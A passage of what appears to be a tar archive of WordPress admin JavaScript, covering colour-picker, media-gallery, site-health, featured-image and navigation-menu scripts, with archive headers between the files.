parseInt('0x' + color.substring(2, 3)) / 15, parseInt('0x' + color.substring(3, 4)) / 15]; } }; fb.HSLToRGB = function (hsl) { var m1, m2, r, g, b; var h = hsl[0], s = hsl[1], l = hsl[2]; m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s; m1 = l * 2 - m2; return [this.hueToRGB(m1, m2, h+0.33333), this.hueToRGB(m1, m2, h), this.hueToRGB(m1, m2, h-0.33333)]; }; fb.hueToRGB = function (m1, m2, h) { h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h); if (h * 6 < 1) return m1 + (m2 - m1) * h * 6; if (h * 2 < 1) return m2; if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6; return m1; }; fb.RGBToHSL = function (rgb) { var min, max, delta, h, s, l; var r = rgb[0], g = rgb[1], b = rgb[2]; min = Math.min(r, Math.min(g, b)); max = Math.max(r, Math.max(g, b)); delta = max - min; l = (min + max) / 2; s = 0; if (l > 0 && l < 1) { s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l)); } h = 0; if (delta > 0) { if (max == r && max != g) h += (g - b) / delta; if (max == g && max != b) h += (2 + (b - r) / delta); if (max == b && max != r) h += (4 + (r - g) / delta); h /= 6; } return [h, s, l]; }; // Install mousedown handler (the others are set on the document on-demand) $('*', e).on('mousedown', fb.mousedown); // Init color fb.setColor('#000000'); // Set linked elements/callback if (callback) { fb.linkTo(callback); } }; })(jQuery); media-gallery.js 0000644 00000002427 15222552267 0007633 0 ustar 00 /** * This file is used on media-upload.php which has been replaced by media-new.php and upload.php * * @deprecated 3.5.0 * @output wp-admin/js/media-gallery.js */ /* global ajaxurl */ jQuery(function($) { /** * Adds a click event handler to the element with a 'wp-gallery' class. */ $( 'body' ).on( 'click.wp-gallery', function(e) { var target = $( e.target ), id, img_size, nonceValue; if ( target.hasClass( 'wp-set-header' ) ) { // Opens the image to preview it full size. ( window.dialogArguments || opener || parent || top ).location.href = target.data( 'location' ); e.preventDefault(); } else if ( target.hasClass( 'wp-set-background' ) ) { // Sets the image as background of the theme. id = target.data( 'attachment-id' ); img_size = $( 'input[name="attachments[' + id + '][image-size]"]:checked').val(); nonceValue = $( '#_wpnonce' ).val() && ''; /** * This Ajax action has been deprecated since 3.5.0, see custom-background.php */ jQuery.post(ajaxurl, { action: 'set-background-image', attachment_id: id, _ajax_nonce: nonceValue, size: img_size }, function() { var win = window.dialogArguments || opener || parent || top; win.tb_remove(); win.location.reload(); }); e.preventDefault(); } }); }); color-picker.js 0000644 00000023050 15222552267 0007503 0 ustar 00 /** * @output wp-admin/js/color-picker.js */ ( function( $, undef ) { var ColorPicker, _before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>', _after = '<div class="wp-picker-holder" />', _wrap = '<div class="wp-picker-container" />', _button = '<input type="button" class="button button-small" />', _wrappingLabel = '<label></label>', _wrappingLabelText = '<span class="screen-reader-text"></span>', __ = wp.i18n.__; /** * Creates a jQuery UI color picker that is used in the theme customizer. * * @class $.widget.wp.wpColorPicker * * @since 3.5.0 */ ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{ options: { defaultColor: false, change: false, clear: false, hide: true, palettes: true, width: 255, mode: 'hsv', type: 'full', slider: 'horizontal' }, /** * Creates a color picker that only allows you to adjust the hue. * * @since 3.5.0 * @access private * * @return {void} */ _createHueOnly: function() { var self = this, el = self.element, color; el.hide(); // Set the saturation to the maximum level. color = 'hsl(' + el.val() + ', 100, 50)'; // Create an instance of the color picker, using the hsl mode. el.iris( { mode: 'hsl', type: 'hue', hide: false, color: color, /** * Handles the onChange event if one has been defined in the options. * * @ignore * * @param {Event} event The event that's being called. * @param {HTMLElement} ui The HTMLElement containing the color picker. * * @return {void} */ change: function( event, ui ) { if ( typeof self.options.change === 'function' ) { self.options.change.call( this, event, ui ); } }, width: self.options.width, slider: self.options.slider } ); }, /** * Creates the color picker, sets default values, css classes and wraps it all in HTML. * * @since 3.5.0 * @access private * * @return {void} */ _create: function() { // Return early if Iris support is missing. if ( ! $.support.iris ) { return; } var self = this, el = self.element; // Override default options with options bound to the element. $.extend( self.options, el.data() ); // Create a color picker which only allows adjustments to the hue. if ( self.options.type === 'hue' ) { return self._createHueOnly(); } // Bind the close event. self.close = self.close.bind( self ); self.initialValue = el.val(); // Add a CSS class to the input field. el.addClass( 'wp-color-picker' ); /* * Check if there's already a wrapping label, e.g. in the Customizer. * If there's no label, add a default one to match the Customizer template. */ if ( ! el.parent( 'label' ).length ) { // Wrap the input field in the default label. el.wrap( _wrappingLabel ); // Insert the default label text. self.wrappingLabelText = $( _wrappingLabelText ) .insertBefore( el ) .text( __( 'Color value' ) ); } /* * At this point, either it's the standalone version or the Customizer * one, we have a wrapping label to use as hook in the DOM, let's store it. */ self.wrappingLabel = el.parent(); // Wrap the label in the main wrapper. self.wrappingLabel.wrap( _wrap ); // Store a reference to the main wrapper. self.wrap = self.wrappingLabel.parent(); // Set up the toggle button and insert it before the wrapping label. self.toggler = $( _before ) .insertBefore( self.wrappingLabel ) .css( { backgroundColor: self.initialValue } ); // Set the toggle button span element text. self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) ); // Set up the Iris container and insert it after the wrapping label. self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel ); // Store a reference to the Clear/Default button. self.button = $( _button ); // Set up the Clear/Default button. if ( self.options.defaultColor ) { self.button .addClass( 'wp-picker-default' ) .val( __( 'Default' ) ) .attr( 'aria-label', __( 'Select default color' ) ); } else { self.button .addClass( 'wp-picker-clear' ) .val( __( 'Clear' ) ) .attr( 'aria-label', __( 'Clear color' ) ); } // Wrap the wrapping label in its wrapper and append the Clear/Default button. self.wrappingLabel .wrap( '<span class="wp-picker-input-wrap hidden" />' ) .after( self.button ); /* * The input wrapper now contains the label+input+Clear/Default button. * Store a reference to the input wrapper: we'll use this to toggle * the controls visibility. */ self.inputWrapper = el.closest( '.wp-picker-input-wrap' ); el.iris( { target: self.pickerContainer, hide: self.options.hide, width: self.options.width, mode: self.options.mode, palettes: self.options.palettes, /** * Handles the onChange event if one has been defined in the options and additionally * sets the background color for the toggler element. * * @since 3.5.0 * * @ignore * * @param {Event} event The event that's being called. * @param {HTMLElement} ui The HTMLElement containing the color picker. * * @return {void} */ change: function( event, ui ) { self.toggler.css( { backgroundColor: ui.color.toString() } ); if ( typeof self.options.change === 'function' ) { self.options.change.call( this, event, ui ); } } } ); el.val( self.initialValue ); self._addListeners(); // Force the color picker to always be closed on initial load. if ( ! self.options.hide ) { self.toggler.click(); } }, /** * Binds event listeners to the color picker. * * @since 3.5.0 * @access private * * @return {void} */ _addListeners: function() { var self = this; /** * Prevent any clicks inside this widget from leaking to the top and closing it. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.wrap.on( 'click.wpcolorpicker', function( event ) { event.stopPropagation(); }); /** * Open or close the color picker depending on the class. * * @since 3.5.0 */ self.toggler.on( 'click', function(){ if ( self.toggler.hasClass( 'wp-picker-open' ) ) { self.close(); } else { self.open(); } }); /** * Checks if value is empty when changing the color in the color picker. * If so, the background color is cleared. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.element.on( 'change', function( event ) { var me = $( this ), val = me.val(); if ( val === '' || val === '#' ) { self.toggler.css( 'backgroundColor', '' ); // Fire clear callback if we have one. if ( typeof self.options.clear === 'function' ) { self.options.clear.call( this, event ); } } }); /** * Enables the user to either clear the color in the color picker or revert back to the default color. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.button.on( 'click', function( event ) { var me = $( this ); if ( me.hasClass( 'wp-picker-clear' ) ) { self.element.val( '' ); self.toggler.css( 'backgroundColor', '' ); if ( typeof self.options.clear === 'function' ) { self.options.clear.call( this, event ); } } else if ( me.hasClass( 'wp-picker-default' ) ) { self.element.val( self.options.defaultColor ).change(); } }); }, /** * Opens the color picker dialog. * * @since 3.5.0 * * @return {void} */ open: function() { this.element.iris( 'toggle' ); this.inputWrapper.removeClass( 'hidden' ); this.wrap.addClass( 'wp-picker-active' ); this.toggler .addClass( 'wp-picker-open' ) .attr( 'aria-expanded', 'true' ); $( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close ); }, /** * Closes the color picker dialog. * * @since 3.5.0 * * @return {void} */ close: function() { this.element.iris( 'toggle' ); this.inputWrapper.addClass( 'hidden' ); this.wrap.removeClass( 'wp-picker-active' ); this.toggler .removeClass( 'wp-picker-open' ) .attr( 'aria-expanded', 'false' ); $( 'body' ).off( 'click.wpcolorpicker', this.close ); }, /** * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color. * * @param newColor {string|*} The new color to use. Can be undefined. * * @since 3.5.0 * * @return {string} The element's color. */ color: function( newColor ) { if ( newColor === undef ) { return this.element.iris( 'option', 'color' ); } this.element.iris( 'option', 'color', newColor ); }, /** * Returns the iris object if no new default color is provided. * If a new default color is provided, it sets the new default color. * * @param newDefaultColor {string|*} The new default color to use. Can be undefined. * * @since 3.5.0 * * @return {boolean|string} The element's color. */ defaultColor: function( newDefaultColor ) { if ( newDefaultColor === undef ) { return this.options.defaultColor; } this.options.defaultColor = newDefaultColor; } }; // Register the color picker as a widget. $.widget( 'wp.wpColorPicker', ColorPicker ); }( jQuery ) ); site-health.min.js 0000644 00000014512 15222552267 0010106 0 ustar 00 /*! This file is auto-generated */ jQuery(function(o){var a,r=wp.i18n.__,n=wp.i18n._n,c=wp.i18n.sprintf,e=new ClipboardJS(".site-health-copy-buttons .copy-button"),l=o(".health-check-body.health-check-status-tab").length,t=o(".health-check-body.health-check-debug-tab").length,i=o("#health-check-accordion-block-wp-paths-sizes"),h=o("#adminmenu .site-health-counter"),d=o("#adminmenu .site-health-counter .count");function u(e){var t,s,a=wp.template("health-check-issue"),i=o("#health-check-issues-"+e.status);!function(e){var t,s,a,i,n={test:"string",label:"string",description:"string"},o=!0;if("object"==typeof e){for(t in n)if("object"==typeof(s=n[t]))for(a in s)i=s[a],void 0!==e[t]&&void 0!==e[t][a]&&i===typeof e[t][a]||(o=!1);else void 0!==e[t]&&s===typeof e[t]||(o=!1);return o}}(e)||(SiteHealth.site_status.issues[e.status]++,s=SiteHealth.site_status.issues[e.status],void 0===e.test&&(e.test=e.status+s),"critical"===e.status?t=c(n("%s critical issue","%s critical issues",s),'<span class="issue-count">'+s+"</span>"):"recommended"===e.status?t=c(n("%s recommended improvement","%s recommended improvements",s),'<span class="issue-count">'+s+"</span>"):"good"===e.status&&(t=c(n("%s item with no issues detected","%s items with no issues detected",s),'<span class="issue-count">'+s+"</span>")),t&&o(".site-health-issue-count-title",i).html(t),d.text(SiteHealth.site_status.issues.critical),0<parseInt(SiteHealth.site_status.issues.critical,0)?(o("#health-check-issues-critical").removeClass("hidden"),h.removeClass("count-0")):h.addClass("count-0"),0<parseInt(SiteHealth.site_status.issues.recommended,0)&&o("#health-check-issues-recommended").removeClass("hidden"),o(".issues","#health-check-issues-"+e.status).append(a(e)))}function p(){var e=o(".site-health-progress"),t=e.closest(".site-health-progress-wrapper"),s=o(".site-health-progress-label",t),a=o(".site-health-progress svg #bar"),i=parseInt(SiteHealth.site_status.issues.good,0)+parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=.5*parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=100-Math.ceil(n/i*100);0===i?e.addClass("hidden"):(t.removeClass("loading"),i=a.attr("r"),e=Math.PI*(2*i),a.css({strokeDashoffset:(100-(n=100<(n=n<0?0:n)?100:n))/100*e+"px"}),80<=n&&0===parseInt(SiteHealth.site_status.issues.critical,0)?(t.addClass("green").removeClass("orange"),s.text(r("Good")),m("good")):(t.addClass("orange").removeClass("green"),s.text(r("Should be improved")),m("improvable")),l&&(o.post(ajaxurl,{action:"health-check-site-status-result",_wpnonce:SiteHealth.nonce.site_status_result,counts:SiteHealth.site_status.issues}),100===n)&&(o(".site-status-all-clear").removeClass("hide"),o(".site-status-has-issues").addClass("hide")))}function g(e,t){e={status:"recommended",label:r("A test is unavailable"),badge:{color:"red",label:r("Unavailable")},description:"<p>"+e+"</p><p>"+t+"</p>",actions:""};u(wp.hooks.applyFilters("site_status_test_result",e))}function s(){var t=(new Date).getTime(),s=window.setTimeout(function(){m("waiting-for-directory-sizes")},3e3);wp.apiRequest({path:"/wp-site-health/v1/directory-sizes"}).done(function(e){var a,s;a=e||{},e=o("button.button.copy-button"),s=e.attr("data-clipboard-text"),o.each(a,function(e,t){t=t.debug||t.size;void 0!==t&&(s=s.replace(e+": loading...",e+": "+t))}),e.attr("data-clipboard-text",s),i.find("td[class]").each(function(e,t){var t=o(t),s=t.attr("class");a.hasOwnProperty(s)&&a[s].size&&t.text(a[s].size)})}).always(function(){var e=(new Date).getTime()-t;o(".health-check-wp-paths-sizes.spinner").css("visibility","hidden"),3e3<e?(e=6e3<e?0:6500-e,window.setTimeout(function(){p()},e)):window.clearTimeout(s),o(document).trigger("site-health-info-dirsizes-done")})}function m(e){if("site-health"===SiteHealth.screen)switch(e){case"good":wp.a11y.speak(r("All site health tests have finished running. Your site is looking good."));break;case"improvable":wp.a11y.speak(r("All site health tests have finished running. There are items that should be addressed."));break;case"waiting-for-directory-sizes":wp.a11y.speak(r("Running additional tests... please wait."))}}e.on("success",function(e){var t=o(e.trigger),s=o(".success",t.closest("div"));e.clearSelection(),clearTimeout(a),s.removeClass("hidden"),a=setTimeout(function(){s.addClass("hidden")},3e3),wp.a11y.speak(r("Site information has been copied to your clipboard."))}),o(".health-check-accordion").on("click",".health-check-accordion-trigger",function(){var e="true"===o(this).attr("aria-expanded");o(this).prop("id")&&(window.location.hash=o(this).prop("id")),e?(o(this).attr("aria-expanded","false"),o("#"+o(this).attr("aria-controls")).attr("hidden",!0)):(o(this).attr("aria-expanded","true"),o("#"+o(this).attr("aria-controls")).attr("hidden",!1))}),wp.domReady(function(){var e=window.location.hash;e&&(e=o(e)).is(".health-check-accordion-trigger")&&e.trigger("click")}),o(".site-health-view-passed").on("click",function(){var e=o("#health-check-issues-good");e.toggleClass("hidden"),o(this).attr("aria-expanded",!e.hasClass("hidden"))}),"undefined"!=typeof SiteHealth&&(0===SiteHealth.site_status.direct.length&&0===SiteHealth.site_status.async.length?p():SiteHealth.site_status.issues={good:0,recommended:0,critical:0},0<SiteHealth.site_status.direct.length&&o.each(SiteHealth.site_status.direct,function(){u(this)}),(0<SiteHealth.site_status.async.length?function t(){var s=!0;1<=SiteHealth.site_status.async.length&&o.each(SiteHealth.site_status.async,function(){var e={action:"health-check-"+this.test.replace("_","-"),_wpnonce:SiteHealth.nonce.site_status};return!!this.completed||(s=!1,this.completed=!0,(void 0!==this.has_rest&&this.has_rest?wp.apiRequest({url:wp.url.addQueryArgs(this.test,{_locale:"user"}),headers:this.headers}).done(function(e){u(wp.hooks.applyFilters("site_status_test_result",e))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:r("No details available"),g(this.url,e)}):o.post(ajaxurl,e).done(function(e){u(wp.hooks.applyFilters("site_status_test_result",e.data))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:r("No details available"),g(this.url,e)})).always(function(){t()}),!1)}),s&&p()}:p)()),t&&(i.length?s:p)(),o(".health-check-offscreen-nav-wrapper").on("click",function(){o(this).toggleClass("visible")})}); site-health.js 0000644 00000033070 15222552267 0007324 0 ustar 00 /** * Interactions used by the Site Health modules in WordPress. * * @output wp-admin/js/site-health.js */ /* global ajaxurl, ClipboardJS, SiteHealth, wp */ jQuery( function( $ ) { var __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf, clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ), isStatusTab = $( '.health-check-body.health-check-status-tab' ).length, isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length, pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ), menuCounterWrapper = $( '#adminmenu .site-health-counter' ), menuCounter = $( '#adminmenu .site-health-counter .count' ), successTimeout; // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( 'div' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) ); } ); // Accordion handling in various areas. $( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( $( this ).prop( 'id' ) ) { window.location.hash = $( this ).prop( 'id' ); } if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); /* global setTimeout */ wp.domReady( function() { // Get hash from query string and open the related accordion. var hash = window.location.hash; if ( hash ) { var requestedPanel = $( hash ); if ( requestedPanel.is( '.health-check-accordion-trigger' ) ) { requestedPanel.trigger( 'click' ); } } } ); // Site Health test handling. $( '.site-health-view-passed' ).on( 'click', function() { var goodIssuesWrapper = $( '#health-check-issues-good' ); goodIssuesWrapper.toggleClass( 'hidden' ); $( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) ); } ); /** * Validates the Site Health test result format. * * @since 5.6.0 * * @param {Object} issue * * @return {boolean} */ function validateIssueData( issue ) { // Expected minimum format of a valid SiteHealth test response. var minimumExpected = { test: 'string', label: 'string', description: 'string' }, passed = true, key, value, subKey, subValue; // If the issue passed is not an object, return a `false` state early. if ( 'object' !== typeof( issue ) ) { return false; } // Loop over expected data and match the data types. for ( key in minimumExpected ) { value = minimumExpected[ key ]; if ( 'object' === typeof( value ) ) { for ( subKey in value ) { subValue = value[ subKey ]; if ( 'undefined' === typeof( issue[ key ] ) || 'undefined' === typeof( issue[ key ][ subKey ] ) || subValue !== typeof( issue[ key ][ subKey ] ) ) { passed = false; } } } else { if ( 'undefined' === typeof( issue[ key ] ) || value !== typeof( issue[ key ] ) ) { passed = false; } } } return passed; } /** * Appends a new issue to the issue list. * * @since 5.2.0 * * @param {Object} issue The issue data. */ function appendIssue( issue ) { var template = wp.template( 'health-check-issue' ), issueWrapper = $( '#health-check-issues-' + issue.status ), heading, count; /* * Validate the issue data format before using it. * If the output is invalid, discard it. */ if ( ! validateIssueData( issue ) ) { return false; } SiteHealth.site_status.issues[ issue.status ]++; count = SiteHealth.site_status.issues[ issue.status ]; // If no test name is supplied, append a placeholder for markup references. if ( typeof issue.test === 'undefined' ) { issue.test = issue.status + count; } if ( 'critical' === issue.status ) { heading = sprintf( _n( '%s critical issue', '%s critical issues', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'recommended' === issue.status ) { heading = sprintf( _n( '%s recommended improvement', '%s recommended improvements', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'good' === issue.status ) { heading = sprintf( _n( '%s item with no issues detected', '%s items with no issues detected', count ), '<span class="issue-count">' + count + '</span>' ); } if ( heading ) { $( '.site-health-issue-count-title', issueWrapper ).html( heading ); } menuCounter.text( SiteHealth.site_status.issues.critical ); if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $( '#health-check-issues-critical' ).removeClass( 'hidden' ); menuCounterWrapper.removeClass( 'count-0' ); } else { menuCounterWrapper.addClass( 'count-0' ); } if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) { $( '#health-check-issues-recommended' ).removeClass( 'hidden' ); } $( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) ); } /** * Updates site health status indicator as asynchronous tests are run and returned. * * @since 5.2.0 */ function recalculateProgression() { var r, c, pct; var $progress = $( '.site-health-progress' ); var $wrapper = $progress.closest( '.site-health-progress-wrapper' ); var $progressLabel = $( '.site-health-progress-label', $wrapper ); var $circle = $( '.site-health-progress svg #bar' ); var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) + parseInt( SiteHealth.site_status.issues.recommended, 0 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 ); if ( 0 === totalTests ) { $progress.addClass( 'hidden' ); return; } $wrapper.removeClass( 'loading' ); r = $circle.attr( 'r' ); c = Math.PI * ( r * 2 ); if ( 0 > val ) { val = 0; } if ( 100 < val ) { val = 100; } pct = ( ( 100 - val ) / 100 ) * c + 'px'; $circle.css( { strokeDashoffset: pct } ); if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $wrapper.addClass( 'green' ).removeClass( 'orange' ); $progressLabel.text( __( 'Good' ) ); announceTestsProgression( 'good' ); } else { $wrapper.addClass( 'orange' ).removeClass( 'green' ); $progressLabel.text( __( 'Should be improved' ) ); announceTestsProgression( 'improvable' ); } if ( isStatusTab ) { $.post( ajaxurl, { 'action': 'health-check-site-status-result', '_wpnonce': SiteHealth.nonce.site_status_result, 'counts': SiteHealth.site_status.issues } ); if ( 100 === val ) { $( '.site-status-all-clear' ).removeClass( 'hide' ); $( '.site-status-has-issues' ).addClass( 'hide' ); } } } /** * Queues the next asynchronous test when we're ready to run it. * * @since 5.2.0 */ function maybeRunNextAsyncTest() { var doCalculation = true; if ( 1 <= SiteHealth.site_status.async.length ) { $.each( SiteHealth.site_status.async, function() { var data = { 'action': 'health-check-' + this.test.replace( '_', '-' ), '_wpnonce': SiteHealth.nonce.site_status }; if ( this.completed ) { return true; } doCalculation = false; this.completed = true; if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) { wp.apiRequest( { url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ), headers: this.headers } ) .done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) ); } ) .fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ) .always( function() { maybeRunNextAsyncTest(); } ); } else { $.post( ajaxurl, data ).done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) ); } ).fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ).always( function() { maybeRunNextAsyncTest(); } ); } return false; } ); } if ( doCalculation ) { recalculateProgression(); } } /** * Add the details of a failed asynchronous test to the list of test results. * * @since 5.6.0 */ function addFailedSiteHealthCheckNotice( url, description ) { var issue; issue = { 'status': 'recommended', 'label': __( 'A test is unavailable' ), 'badge': { 'color': 'red', 'label': __( 'Unavailable' ) }, 'description': '<p>' + url + '</p><p>' + description + '</p>', 'actions': '' }; /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) ); } if ( 'undefined' !== typeof SiteHealth ) { if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) { recalculateProgression(); } else { SiteHealth.site_status.issues = { 'good': 0, 'recommended': 0, 'critical': 0 }; } if ( 0 < SiteHealth.site_status.direct.length ) { $.each( SiteHealth.site_status.direct, function() { appendIssue( this ); } ); } if ( 0 < SiteHealth.site_status.async.length ) { maybeRunNextAsyncTest(); } else { recalculateProgression(); } } function getDirectorySizes() { var timestamp = ( new Date().getTime() ); // After 3 seconds announce that we're still waiting for directory sizes. var timeout = window.setTimeout( function() { announceTestsProgression( 'waiting-for-directory-sizes' ); }, 3000 ); wp.apiRequest( { path: '/wp-site-health/v1/directory-sizes' } ).done( function( response ) { updateDirSizes( response || {} ); } ).always( function() { var delay = ( new Date().getTime() ) - timestamp; $( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' ); if ( delay > 3000 ) { /* * We have announced that we're waiting. * Announce that we're ready after giving at least 3 seconds * for the first announcement to be read out, or the two may collide. */ if ( delay > 6000 ) { delay = 0; } else { delay = 6500 - delay; } window.setTimeout( function() { recalculateProgression(); }, delay ); } else { // Cancel the announcement. window.clearTimeout( timeout ); } $( document ).trigger( 'site-health-info-dirsizes-done' ); } ); } function updateDirSizes( data ) { var copyButton = $( 'button.button.copy-button' ); var clipboardText = copyButton.attr( 'data-clipboard-text' ); $.each( data, function( name, value ) { var text = value.debug || value.size; if ( typeof text !== 'undefined' ) { clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text ); } } ); copyButton.attr( 'data-clipboard-text', clipboardText ); pathsSizesSection.find( 'td[class]' ).each( function( i, element ) { var td = $( element ); var name = td.attr( 'class' ); if ( data.hasOwnProperty( name ) && data[ name ].size ) { td.text( data[ name ].size ); } } ); } if ( isDebugTab ) { if ( pathsSizesSection.length ) { getDirectorySizes(); } else { recalculateProgression(); } } // Trigger a class toggle when the extended menu button is clicked. $( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() { $( this ).toggleClass( 'visible' ); } ); /** * Announces to assistive technologies the tests progression status. * * @since 6.4.0 * * @param {string} type The type of message to be announced. * * @return {void} */ function announceTestsProgression( type ) { // Only announce the messages in the Site Health pages. if ( 'site-health' !== SiteHealth.screen ) { return; } switch ( type ) { case 'good': wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) ); break; case 'improvable': wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) ); break; case 'waiting-for-directory-sizes': wp.a11y.speak( __( 'Running additional tests... please wait.' ) ); break; default: return; } } } ); set-post-thumbnail.js 0000644 00000001554 15222552267 0010656 0 ustar 00 /** * @output wp-admin/js/set-post-thumbnail.js */ /* global ajaxurl, post_id, alert */ /* exported WPSetAsThumbnail */ window.WPSetAsThumbnail = function( id, nonce ) { var $link = jQuery('a#wp-post-thumbnail-' + id); $link.text( wp.i18n.__( 'Saving…' ) ); jQuery.post(ajaxurl, { action: 'set-post-thumbnail', post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie ) }, function(str){ var win = window.dialogArguments || opener || parent || top; $link.text( wp.i18n.__( 'Use as featured image' ) ); if ( str == '0' ) { alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); } else { jQuery('a.wp-post-thumbnail').show(); $link.text( wp.i18n.__( 'Done' ) ); $link.fadeOut( 2000 ); win.WPSetThumbnailID(id); win.WPSetThumbnailHTML(str); } } ); }; nav-menu.js 0000644 00000172231 15222552267 0006646 0 ustar 00 /** * WordPress Administration Navigation Menu * Interface JS functions * * @version 2.0.0 * * @package WordPress * @subpackage Administration * @output wp-admin/js/nav-menu.js */ /* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */ (function($) { var api; /** * Contains all the functions to handle WordPress navigation menus administration. * * @namespace wpNavMenu */ api = window.wpNavMenu = { options : { menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead. globalMaxDepth: 11, sortableItems: '> *', targetTolerance: 0 }, menuList : undefined, // Set in init. targetList : undefined, // Set in init. menusChanged : false, isRTL: !! ( 'undefined' != typeof isRtl && isRtl ), negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1, lastSearch: '', // Functions that run on init. init : function() { api.menuList = $('#menu-to-edit'); api.targetList = api.menuList; this.jQueryExtensions(); this.attachMenuEditListeners(); this.attachBulkSelectButtonListeners(); this.attachMenuCheckBoxListeners(); this.attachMenuItemDeleteButton(); this.attachPendingMenuItemsListForDeletion(); this.attachQuickSearchListeners(); this.attachThemeLocationsListeners(); this.attachMenuSaveSubmitListeners(); this.attachTabsPanelListeners(); this.attachUnsavedChangesListener(); if ( api.menuList.length ) this.initSortables(); if ( menus.oneThemeLocationNoMenus ) $( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom ); this.initManageLocations(); this.initAccessibility(); this.initToggles(); this.initPreviewing(); }, jQueryExtensions : function() { // jQuery extensions. $.fn.extend({ menuItemDepth : function() { var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left'); return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 ); }, updateDepthClass : function(current, prev) { return this.each(function(){ var t = $(this); prev = prev || t.menuItemDepth(); $(this).removeClass('menu-item-depth-'+ prev ) .addClass('menu-item-depth-'+ current ); }); }, shiftDepthClass : function(change) { return this.each(function(){ var t = $(this), depth = t.menuItemDepth(), newDepth = depth + change; t.removeClass( 'menu-item-depth-'+ depth ) .addClass( 'menu-item-depth-'+ ( newDepth ) ); if ( 0 === newDepth ) { t.find( '.is-submenu' ).hide(); } }); }, childMenuItems : function() { var result = $(); this.each(function(){ var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' ); while( next.length && next.menuItemDepth() > depth ) { result = result.add( next ); next = next.next( '.menu-item' ); } }); return result; }, shiftHorizontally : function( dir ) { return this.each(function(){ var t = $(this), depth = t.menuItemDepth(), newDepth = depth 